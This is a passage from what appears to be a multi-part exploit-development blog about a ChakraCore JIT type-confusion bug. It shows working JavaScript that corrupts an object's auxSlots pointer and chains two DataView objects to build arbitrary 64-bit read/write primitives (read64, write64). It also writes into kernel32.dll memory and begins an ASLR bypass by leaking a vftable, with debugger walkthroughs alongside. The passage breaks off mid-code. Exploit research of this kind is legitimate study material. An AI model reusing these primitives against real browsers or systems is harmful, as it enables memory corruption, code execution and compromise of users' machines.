As we can see above, we have overwritten the auxSlots pointer with a value we control, of 0x1234. Additionally, recall from part one of this blog series when we talked about JavaScript objects. A value in JavaScript is 64-bits (technically), but only 32-bits are used to hold the actual value (in the case of 0x1234, the value is represented in memory as 001000000001234. This is a result of “NaN boxing”, where JavaScript encodes type information in the upper 17-bits of the value. We also know that anything that isn’t a static object (generally speaking) is a dynamic object. We know that dynamic objects are “the exception to the rule”, and are actually represented in memory as a pointer. We saw this in part one by dissecting how dynamic objects are laid out in memory (e.g. object points to | vtable | type | auxSlots |).

What this means for our vulnerability is that we can overwrite the auxSlots pointer currently, but we can only overwrite it with a value that is NaN-boxed, meaning we can’t hijack the object with anything particularly interesting, as we are on a 64-bit machine but we can only overwrite the auxSlots pointer with a 32-bit value in our case, when using something like 0x1234.

The above is only a half truth, as we can use some “hacks” to actually end up controlling this auxSlots pointer with something interesting, actually with a “chain” of interesting items, to force ChakraCore to do something nefarious - which will eventually lead us to code execution.

Let’s update our proof-of-concept, which we will save as exploit.js, with the following JavaScript:

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);		// Instead of supplying 0x1234, we are supplying our obj
}

main();

Our exploit.js is slightly different than our original proof-of-concept. When the type confusion is exploited, we now are supplying obj instead of a value of 0x1234. In not so many words, the auxSlots pointer of our o object, previously overwritten with 0x1234 in part one, will now be overwritten with the address of our obj object. Here is where this gets interesting.

Recall that any object that isn’t NaN-boxed is considered a pointer. Since obj is a dynamic object, it is represented in memory as such:

What this means is that instead of our corrupted o object after the type confusion being laid out as such:

It will actually look like this in memory:

Our o object, who’s auxSlots pointer we can corrupt, now technically has a valid pointer in the auxSlots location within the object. However, we can clearly see that the o->auxSlots pointer isn’t pointing to an array of properties, it is actually pointing to the obj object which we created! Our exploit.js script essentially updates o->auxSlots to o->auxSlots = addressof(obj). This essentially means that o->auxSlots now contains the memory address of the obj object, instead of a valid auxSlots array address.

Recall also that we control the o properties, and can call them at any point in exploit.js via o.a, o.b, etc. For instance, if there was no type confusion vulnerability, and if we wanted to fetch the o.a property, we know this is how it would be done (considering o had been type transitioned to an auxSlots setup):

We know this to be the case, as we are well aware ChakraCore will dereference dynamic_object+0x10 to pull the auxSlots pointer. After retrieving the auxSlots pointer, ChakraCore will add the appropriate index to the auxSlots address to fetch a given property, such as o.a, which is stored at offset 0 or o.b, which is stored at offset 0x8. We saw this in part one of this blog series, and this is no different than how any other array stores and fetches an appropriate index.

What’s most interesting about all of this is that ChakraCore will still act on our o object as if the auxSlots pointer is still valid and hasn’t been corrupted. After all, this was the root cause of our vulnerability in part one. When we acted on o.a, after corrupting auxSlots to 0x1234, an access violation occurred, as 0x1234 is invalid memory.

This time, however, we have provided valid memory within o->auxSlots. So acting on o.a would actually take address is stored at auxSlots, dereference it, and then return the value stored at offset 0. Doing this currently, with our obj object being supplied as the auxSlots pointer for our corrupted o object, will actually return the vftable from our obj object. This is because the first 0x10 bytes of a dynamic object contain metadata, like vftable and type. Since ChakraCore is treating our obj as an auxSlots array, which can be indexed directly at an offset of 0, via auxSlots[0], we can actually interact with this metadata. This can be seen below.

Usually we can expect that the dereferenced contents of o+0x10, a.k.a. auxSlots, at an offset of 0, to contain the actual, raw value of o.a. After the type confusion vulnerability is used to corrupt auxSlots with a different address (the address of obj), whatever is stored at this address, at an offset of 0, is dereferenced and returned to whatever part of the JavaScript code is trying to retrieve the value of o.a. Since we have corrupted auxSlots with the address of an object, ChakraCore doesn’t know auxSlots is gone, and it will still gladly index whatever is at auxSlots[0] when the script tries to access the first property (in this case o.a), which is the vftable of our obj object. If we retrieved o.b, after our type confusion was executed, ChakraCore would fetch the type pointer.

Let’s inspect this in the debugger, to make more sense of this. Do not worry if this has yet to make sense. Recall from part one, the function chakracore!Js::DynamicTypeHandler::AdjustSlots is responsible for the type transition of our o property. Let’s set a breakpoint on our print() statement, as well as the aforementioned function so that we can examine the call stack to find the machine code (the JIT’d code) which corresponds to our opt() function. This is all information we learned in part one.

After opening ch.exe and passing in exploit.js as the argument (the script to be executed), we set a breakpoint on ch!WScriptJsrt::EchoCallback. After resuming execution and hitting the breakpoint, we then can set our intended breakpoint of chakracore!Js::DynamicTypeHandler::AdjustSlots.

When the chakracore!Js::DynamicTypeHandler::AdjustSlots is hit, we can examine the callstack (just like in part one) to identify our “JIT’d” opt() function

After retrieving the address of our opt() function, we can unassemble the code to set a breakpoint where our type confusion vulnerability reaches the apex - on the mov qword ptr [r15+10h], r11 instruction when auxSlots is overwritten.

We know that auxSlots is stored at o+0x10, so this means our o object is currently in R15. Let’s examine the object’s layout in memory, currently.

We can clearly see that this is the o object. Looking at the R11 register, which is the value that is going to corrupt auxSlots of o, we can see that it is the obj object we created earlier.

Notice what happens to the o object, as our vulnerability manifests. When o->auxSlots is corrupted, o.a now refers to the vftable property of our obj object.

Anytime we act on o.a, we will now be acting on the vftable of obj! This is great, but how can we take this further? Take not that the vftable is actually a user-mode address that resides within chakracore.dll. This means, if we were able to leak a vftable from an object, we would bypass ASLR. Let’s see how we can possibly do this.

DataView Objects

A popular object leveraged for exploitation is a DataView object. A DataView object provides users a way to read/write multiple different data types and endianness to and from a raw buffer in memory, which can be created with ArrayBuffer. This can include writing or retrieving an 8-byte, 16-byte, 32-byte, or (in some browsers) 64-bytes of raw data from said buffer. More information about DataView objects can be found here, for the more interested reader.

At a higher level a DataView object provides a set of methods that allow a developer to be very specific about the kind of data they would like to set, or retrieve, in a buffer created by ArrayBuffer. For instance, with the method getUint32(), provided by DataView, we can tell ChakraCore that we would like to retrieve the contents of the ArrayBuffer backing the DataView object as a 32-bit, unsigned data type, and even go as far as asking ChakraCore to return the value in little-endian format, and even specifying a specific offset within the buffer to read from. A list of methods provided by DataView can be found here.

The previous information provided makes a DataView object extremely attractive, from an exploitation perspective, as not only can we set and read data from a given buffer, we can specify the data type, offset, and even endianness. More on this in a bit.

Moving on, a DataView object could be instantiated as such below:

dataviewObj = new DataView(new ArrayBuffer(0x100));

This would essentially create a DataView object that is backed by a buffer, via ArrayBuffer.

This matters greatly to us because as of now if we want to overwrite auxSlots with something (referring to our vulnerability), it would either have to be a raw JavaScript value, like an integer, or the address of a dynamic object like the obj used previously. Even if we had some primitive to leak the base address of kernel32.dll, for instance, we could never actually corrupt the auxSlots pointer by directly overwriting it with the leaked address of 0x7fff5b3d0000 for instance, via our vulnerability. This is because of NaN-boxing - meaning if we try to directly overwrite the auxSlots pointer so that we can arbitrarily read or write from this address, ChakraCore would still “tag” this value, which would “mangle it” so that it no longer is represented in memory as 0x7fff5b3d0000. We can clearly see this if we first update exploit.js to the following and pause execution when auxSlots is corrupted:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x7fff5b3d0000);		// Instead of supplying 0x1234 or a fake object address, supply the base address of kernel32.dll
}

Using the same breakpoints and method for debugging, shown in the beginning of this blog, we can locate the JIT’d address of the opt() function and pause execution on the instruction responsible for overwriting auxSlots of the o object (in this case mov qword ptr [r15+10h], r13.

Notice how the value we supplied, originally 0x7fff5b3d0000 and was placed into the R13 register, has been totally mangled. This is because ChakraCore is embedding type information into the upper 17-bits of the 64-bit value (where only 32-bits technically are available to store a raw value). Obviously seeing this, we can’t directly set values for exploitation, as we need to be able to set and write 64-bit values at a time since we are exploiting a 64-bit system without having the address/value mangled. This means even if we can reliably leak data, we can’t write this leaked data to memory, as we have no way to avoid JavaScript NaN-boxing the value. This leaves us with the following choices:

  1. Write a NaN-boxed value to memory
  2. Write a dynamic object to memory (which is represented by a pointer)

If we chain together a few JavaScript objects, we can use the latter option shown above to corrupt a few things in memory with the addresses of objects to achieve a read/write primitive. Let’s start this process by examining how DataView objects behave in memory.

Let’s create a new JavaScript script named dataview.js:

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);	// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)

Notice the level of control we have in respect to the amount of data, the type of data, and the offset of the data in the buffer we can set/retrieve.

In the above code we created a DataView object, which is backed by a raw memory buffer via ArrayBuffer. With the DataView “view” of this buffer, we can tell ChakraCore to start at the beginning of the buffer, use a 32-bit, unsigned data type, and use little endian format when setting the data 0x41414141 into the buffer created by ArrayBuffer. To see this in action, let’s execute this script in WinDbg.

Next, let’s set our print() debug breakpoint on ch!WScriptJsrt::EchoCallback. After resuming execution, let’s then set a breakpoint on chakracore!Js::DataView::EntrySetUint32, which is responsible for setting a value on a DataView buffer. Please note I was able to find this function by searching the ChakraCore code base, which is open-sourced and available on GitHub, within DataView.cpp, which looked to be responsible for setting values on DataView objects.

After hitting the breakpoint on chakracore!Js::DataView::EntrySetUint32, we can look further into the disassembly to see a method provided by DataView called SetValue(). Let’s set a breakpoint here.

After hitting the breakpoint, we can view the disassembly of this function below. We can see another call to a method called SetValue(). Let’s set a breakpoint on this function (please right click and open the below image in a new tab if you have trouble viewing).

After hitting the breakpoint, we can see the source of the SetValue() method function we are currently in, outlined in red below.

Cross-referencing this with the disassembly, we noticed right before the ret from this method function we see a mov dword ptr [rax], ecx instruction. This is an assembly operation which uses a 32-bit value to act on a 64-bit value. This is likely the operation which writes our 32-bit value to the buffer of the DataView object. We can confirm this by setting a breakpoint and verifying that, in fact, this is the responsible instruction.

We can see our buffer now holds 0x41414141.

This verifies that it is possible to set an arbitrary 32-bit value without any sort of NaN-boxing, via DataView objects. Also note the address of the buffer property of the DataView object, 0x157af16b2d0. However, what about a 64-bit value? Consider the following script below, which attempts to set one 64-bit value via offsets of DataView.

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);	// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)
dataviewObj.setUint32(0x4, 0x41414141, true);	// Set, at an offset of 4 in the buffer, the value 0x41414141 and specify litte-endian (true)

Using the exact same methodology as before, we can return to our mov dword ptr [rax], rcx instruction which writes our data to a buffer to see that using DataView objects it is possible to set a value in JavaScript as a contiguous 64-bit value without NaN-boxing and without being restricted to just a JavaScript object address!

The only thing we are “limited” to is the fact we cannot set a 64-bit value in “one go”, and we must divide our writes/reads into two tries, since we can only read/write 32-bits at a time as a result of the methods provided to use by DataView. However, there is currently no way for us to abuse this functionality, as we can only perform these actions inside a buffer of a DataView object, which is not a security vulnerability. We will eventually see how we can use our type confusion vulnerability to achieve this, later in this blog post.

Lastly, we know how we can act on the DataView object, but how do we actually view the object in memory? Where does the buffer property of DataView come from, as we saw from our debugging? We can set a breakpoint on our original function, chakracore!Js::DataView::EntrySetUint32. When we hit this breakpoint, we then can set a breakpoint on the SetValue() function, at the end of the EntrySetUint32 function, which passes the pointer to the in-scope DataView object via RCX.

If we examine this value in WinDbg, we can clearly see this is our DataView object. Notice the object layout below - this is a dynamic object, but since it is a builtin JavaScript type, the layout is slightly different.

The most important thing for us to note is twofold: the vftable pointer still exists at the beginning of the object, and at offset 0x38 of the DataView object we have a pointer to the buffer. We can confirm this by setting a hardware breakpoint to pause execution anytime DataView.buffer is written to in a 4-byte (32-bit) boundary.

We now know where in a DataView object the buffer is stored, and can confirm how this buffer is written to, and in what manners can it be written to.

Let’s now chain this knowledge together with what we have previously accomplished to gain a read/write primitive.

Read/Write Primitive

Building upon our knowledge of DataView objects from the “DataView Objects” section and armed with our knowledge from the “Chakra/ChakraCore Exploit Primitives” section, where we saw how it would be possible to control the auxSlots pointer with an address of another JavaScript object we control in memory, let’s see how we can put these two together in order to achieve a read/write primitive.

Let’s recall two previous images, where we corrupted our o object’s auxSlots pointer with the address of another object, obj, in memory.

From the above images, we can see our current layout in memory, where o.a now controls the vftable of the obj object and o.b controls the type pointer of the obj object. But what if we had a property c within o (o.c)?

From the above image, we can clearly see that if there was a property c of o (o.c), it would therefore control the auxSlots pointer of the obj object, after the type confusion vulnerability. This essentially means that we can force obj to point to something else in memory. This is exactly what we would like to do in our case. We would like to do the exact same thing we did with the o object (corrupting the auxSlots pointer to point to another object in memory that we control). Here is how we would like this to look.

By setting o.c to a DataView object, we can control the entire contents of the DataView object by acting on the obj object! This is identical to the exact same scenario shown above where the auxSlots pointer was overwritten with the address of another object, but we saw we could fully control that object (vftable and all metadata) by acting on the corrupted object! This is because ChakraCore, again, still treats auxSlots as though it hasn’t been overwritten with another value. When we try to access obj.a in this case, ChakraCore fetches the auxSlots pointer stored at obj+0x10 and then tries to index that memory at an offset of 0. Since that is now another object in memory (in this case a DataView object), obj.a will still gladly fetch whatever is stored at an offset of 0, which is the vftable for our DataView object! This is also the reason we declared obj with so many values, as a DataView object has a few more hidden properties than a standard dynamic object. By decalring obj with many properties, it allows us access to all of the needed properties of the DataView object, since we aren’t stopping at dataview+0x10, like we have been with other objects since we only cared about the auxSlots pointers in those cases.

This is where things really start to pick up. We know that DataView.buffer is stored as a pointer. This can clearly be seen below by our previous investigative work on understanding DataView objects.

In the above image, we can see that DataView.buffer is stored at an offset of 0x38 within the DataView object. In the previous image, the buffer is a pointer in memory which points to the memory address 0x1a239afb2d0. This is the address of our buffer. Anytime we do dataview.setUint32() on our DataView object, this address will be updated with the contents. This can be seen below.

Knowing this, what if we were able to go from this:

To this:

What this would mean is that buffer address, previously shown above, would be corrupted with the base address of kernel32.dll. This means anytime we acted on our DataView object with a method such as setUint32() we would actually be overwriting the contents of kernel32.dll (note that there are obviously parts of a DLL that are read-only, read/write, or read/execute)! This is also known as an arbitrary write primitive! If we have the ability to leak data, we can obviously use our DataView object with the builtin methods to read and write from the corrupted buffer pointer, and we can obviously use our type confusion (as we have done by corrupted auxSlots pointers so far) to corrupt this buffer pointer with whatever memory address we want! The issue that remains, however, is the NaN-boxing dilemma.

As we can see in the above image, we can overwrite the buffer pointer of a DataView object by using the obj.h property. However, as we saw in JavaScript, if we try to set a value on an object such as obj.h = kernel32_base_address, our value will remain mangled. The only way we can get around this is through our DataView object, which can write raw 64-bit values.

The way we will actually address the above issue is to leverage two DataView objects! Here is how this will look in memory.

The above image may look confusing, so let’s break this down and also examine what we are seeing in the debugger.

This memory layout is no different than the others we have discussed. There is a type confusion vulnerability where the auxSlots pointer for our o object is actually the address of an obj object we control in memory. ChakraCore interprets this object as an auxSlots pointer, and we can use property o.c, which would be the third index into the auxSlots array had it not been corrupted. This entry in the auxSlots array is stored at auxSlots+0x10, and since auxSlots is really another object, this allows us to overwrite the auxSlots pointer of the obj object with a JavaScript object.

We overwrite the auxSlots array of the obj object we created, which has many properties. This is because obj->auxSlots was overwritten with a DataView object, which has many hidden properties, including a buffer property. Having obj declared with so many properties allows us to overwrite said hidden properties, such as the buffer pointer, which is stored at an offset of 0x38 within a DataView object. Since dataview1 is being interpreted as an auxSlots pointer, we can use obj (which previously would have been stored in this array) to have full access to overwrite any of the hidden properties of the dataview1 object. We want to set this buffer to an address we want to arbitrarily write to (like the stack for instance, to invoke a ROP chain). However, since JavaScript prevents us from setting obj.h with a raw 64-bit address, due to NaN-boxing, we have to overwrite this buffer with another JavaScript object address. Since DataView objects expose methods that can allow us to write a raw 64-bit value, we overwrite the buffer of the dataview1 object with the address of another DataView object.

Again, we opt for this method because we know obj.h is the property we could update which would overwrite dataview1->buffer. However, JavaScript won’t let us set a raw 64-bit value which we can use to read/write memory from to bypass ASLR and write to the stack and hijack control-flow. Because of this, we overwrite it with another DataView object.

Because dataview1->buffer = dataview2, we can now use the methods exposed by DataView (via our dataview1 object) to write to the dataview2 object’s buffer property with a raw 64-bit address! This is because methods like setUint32(), which we previously saw, allow us to do so! We also know that buffer is stored at an offset of 0x38 within a DataView object, so if we execute the following JavaScript, we can update dataview2->buffer to whatever raw 64-bit value we want to read/write from:

// Recall we can only set 32-bits at a time
// Start with 0x38 (dataview2->buffer and write 4 bytes
dataview1.setUint32(0x38, 0x41414141, true);		// Overwrite dataview2->buffer with 0x41414141

// Overwrite the next 4 bytes (0x3C offset into dataview2) to fully corrupt bytes 0x38-0x40 (the pointer for dataview2->buffer)
dataview1.setUint32(0x3C, 0x41414141, true);		// Overwrite dataview2->buffer with 0x41414141

Now dataview2->buffer would be overwritten with 0x4141414141414141. Let’s consider the following code now:

dataview2.setUint32(0x0, 0x42424242, true);
dataview2.setUint32(0x4, 0x42424242, true);

If we invoke setUint32() on dataview2, we do so at an offset of 0. This is because we are not attempting to corrupt any other objects, we are intending to use dataview2.setUint32() in a legitimate fashion. When dataview2->setUint32() is invoked, it will fetch the address of the buffer from dataview2 by locating dataview2+0x38, derefencing the address, and attempting to write the value 0x4242424242424242 (as seen above) into the address.

The issue is, however, is that we used a type confusion vulnerability to update dataview2->buffer to a different address (in this case an invalid address of 0x4141414141414141). This is the address dataview2 will now attempt to write to, which obviously will cause an access violation.

Let’s do a test run of an arbitrary write primitive to overwrite the first 8 bytes of the .data section of kernel32.dll (which is writable) to see this in action. To do so, let’s update our exploit.js script to the following:

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    // Print debug statement
    print("DEBUG");

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

Note that in the above code, the base address of the .data section kernel32.dll can be found with the following WinDbg command: !dh kernel32. Recall also that we can only write/read in 32-bit boundaries, as DataView (in Chakra/ChakraCore) only supplies methods that work on unsigned integers as high as a 32-bit boundary. There are no direct 64-bit writes.

Our target address will be kernel32_base + 0xA4000, based on our current version of Windows 10.

Let’s now run our exploit.js script in ch.exe, by way of WinDbg.

To begin the process, let’s first set a breakpoint on our first print() debug statement via ch!WScriptJsrt::EchoCallback. When we hit this breakpoint, after resuming execution, let’s set a breakpoint on chakracore!Js::DynamicTypeHandler::AdjustSlots. We aren’t particularly interested in this function, which as we know will perform the type transition on our o object as a result of the tmp function setting its prototype, but we know that in the call stack we will see the address of the JIT’d function opt(), which performs the type confusion vulnerability.

Examining the call stack, we can clearly see our opt() function.

Let’s set a breakpoint on the instruction which will overwrite the auxSlots pointer of the o object.

We can inspect R15 and R11 to confirm that we have our o object, who’s auxSlots pointer is about to be overwritten with the obj object.

We can clearly see that the o->auxSlots pointer is updated with the address of obj.

This is exactly how we would expect our vulnerability to behave. After the opt(o, o, obj) function is called, the next step in our script is the following:

// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;

We know that by setting a value on o.c we will actually end up corrupting obj->auxSlots with the address of our first DataView object. Recalling the previous image, we know that obj->auxSlots is located at 0x12b252a52b0.

Let’s set a hardware breakpoint to break whenever this address is written to at an 8-byte alignment.

Taking a look at the disassembly, it is clear to see how SetSlotUnchecked indexes the auxSlots array (or what it thinks is the auxSlots array) by computing an index into an array.

Let’s take a look at the RCX register, which should be obj->auxSlots (located at 0x12b252a52b0).

However, we can see that the value is no longer the auxSlots array, but is actually a pointer to a DataView object! This means we have successfully overwritten obj->auxSlots with the address of our dataview DataView object!

Now that our o.c = dataview1 operation has completed, we know the next instruction will be as follows:

// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;

Let’s update our script to set our print() debug statement right before the obj.h = dataview2 instruction and restart execution in WinDbg.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Print debug statement
    print("DEBUG");

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

We know from our last debugging session that the function chakracore!Js::DynamicTypeHandler::SetSlotUnchecked was responsible for updating o.c = dataview1. Let’s set another breakpoint here to view our obj.h = dataview2 line of code in action.

After hitting the breakpoint, we can examine the RCX register, which contains the in-scope dynamic object passed to the SetSlotUnchecked function. We can clearly see this is our obj object, as obj->auxSlots points to our dataview1 DataView object.

We can then set a breakpoint on our final mov qword ptr [rcx+rax*8], rdx instruction, which we previously have seen, which will perform our obj.h = dataview2 instruction.

After hitting the instruction, we can can see that our dataview1 object is about to be operated on, and we can see that the buffer of our dataview1 object currently poitns to 0x24471ebed0.

After the write operation, we can see that dataview1->buffer now points to our dataview2 object.

Again, to reiterate, we can do this type of operation because of our type confusion vulnerability, where ChakraCore doesn’t know we have corrupted obj->auxSlots with the address of another object, our dataview1 object. When we execute obj.h = dataview2, ChakraCore treats obj as still having a valid auxSlots pointer, which it doesn’t, and it will attempt to update the obj.h entry within auxSlots (which is really a DataView object). Because dataview1->buffer is stored where ChakraCore thinks obj.h is stored, we corrupt this value to the address of our second DataView object, dataview2.

Let’s now set a breakpoint, as we saw earlier in the blog post, on the setUint32() method of our DataView object, which will perform the final object corruption and, shortly, our arbitrary write. We also can entirely clear out all other breakpoints.

After hitting our breakpoint, we can then scroll through the disassembly of EntrySetUint32() and set a breakpoint on chakracore!Js::DataView::SetValue, as we have previously showcased in this blog post.

After hitting this breakpoint, we can scroll through the disassembly and set a final breakpoint on the other SetValue() method.

Within this method function, we know mov dword ptr [rax], ecx is the instruction responsible ultimately for writing to the in-scope DataView object’s buffer. Let’s clear out all breakpoints, and focus solely on this instruction.

After hitting this breakpoint, we know that RAX will contain the address we are going to write into. As we talked about in our exploitation strategy, this should be dataview2->buffer. We are going to use the setUint32() method provided by dataview1 in order to overwrite dataview2->buffer’s address with a raw 64-bit value (broken up into two write operations).

Looking in the RCX register above, we can also actually see the “lower” part of kernel32.dll’s .data section - the target address we would like to perform an arbitrary write to.

We now can step through the mov dword ptr [rax], ecx instruction and see that dataview2->buffer has been partially overwritten (the lower 4 bytes) with the lower 4 bytes of kernel32.dll’s .data section!

Perfect! We can now press g in the debugger to hit the mov dword ptr [rax], ecx instruction again. This time, the setUint32() operation should write the upper part of the kernel32.dll .data section’s address, thus completing the full pointer-sized arbitrary write primitive.

After hitting the breakpoint and stepping through the instruction, we can inspect RAX again to confirm this is dataview2 and we have fully corrupted the buffer pointer with an arbitrary address 64-bit address with no NaN-boxing effect! This is perfect, because the next time dataview2 goes to set its buffer, it will use the kernel32.dll address we provided, thinking this is its buffer! Because of this, whatever value we now supply to dataview2.setUint32() will actually overwrite kernel32.dll’s .data section! Let’s view this in action by again pressing g in the debugger to see our dataview2.setUint32() operations.

As we can see below, when we hit our breakpoint again the buffer address being used is located in kernel32.dll, and our setUint32() operation writes 0x41414141 into the .data section! We have achieved an arbitrary write!

We then press g in the debugger once more, to write the other 32-bits. This leads to a full 64-bit arbitrary write primitive!

Perfect! What this means is that we can first set dataview2->buffer, via dataview1.setUint32(), to any 64-bit address we would like to overwrite. Then we can use dataview2.setUint32() in order to overwrite the provided 64-bit address! This also bodes true anytime we would like to arbitrarily read/dereference memory!

We simply, as the write primitive, set dataview2->buffer to whatever address we would like to read from. Then, instead of using the setUint32() method to overwrite the 64-bit address, we use the getUint32() method which will instead read whatever is located in dataview2->buffer. Since dataview2->buffer contains the 64-bit address we want to read from, this method simply will read 8 bytes from here, meaning we can read/write in 8 byte boundaries!

Here is our full read/write primitive code.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
	return ${x.toString(16)};
}

// Arbitrary read function
function read64(lo, hi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
	// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
	var arrayRead = new Uint32Array(0x10);
	arrayRead[0] = dataview2.getUint32(0x0, true); 	// 4-byte arbitrary read
	arrayRead[1] = dataview2.getUint32(0x4, true);	// 4-byte arbitrary read

	// Return the array
	return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
	dataview2.setUint32(0x0, valLo, true);		// 4-byte arbitrary write
	dataview2.setUint32(0x4, valHi, true);		// 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // From here we can call read64() and write64()
}

main();

We can see we added a few things above. The first is our hex() function, which really is just for “pretty printing” purposes. It allows us to convert a value to hex, which is obviously how user-mode addresses are represented in Windows.

Secondly, we can see our read64() function. This is practically dentical to what we displayed with the arbitrary write primitive. We use dataview1 to corrupt the buffer of dataview2 with the address we want to read from. However, instead of using dataview2.setUint32() to overwrite our target address, we use the getUint32() method to retrieve 0x8 bytes from our target address.

Lastly, write64() is identical to what we displayed in the code before the code above, where we walked through the process of performing an arbitrary write. We have simply “templatized” the read/write process to make our exploitation much more efficient.

With a read/write primitive, the next step for us will be bypassing ASLR so we can reliably read/write data in memory.

Bypassing ASLR - Chakra/ChakraCore Edition

When it comes to bypassing ASLR, in “modern” exploitation, this requires an information leak. The 64-bit address space is too dense to “brute force”, so we must find another approach. Thankfully, for us, the way Chakra/ChakraCore lays out JavaScript objects in memory will allow us to use our type confusion vulnerability and read primitive to leak a chakracore.dll address quite easily. Let’s recall the layout of a dynamic object in memory.

As we can see above, and as we can recall, the first hidden property of a dynamic object is the vftable. This will always point somewhere into chakracore.dll, and chakra.dll within Edge. Because of this, we can simply use our arbitrary read primitive to set our target address we want to read from to the vftable pointer of the dataview2 object, for instance, and read what this address contains (which is a pointer in chakracore.dll)! This concept is very simple, but we actually can more easily perform it by not using read64(). Here is the corresponding code.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
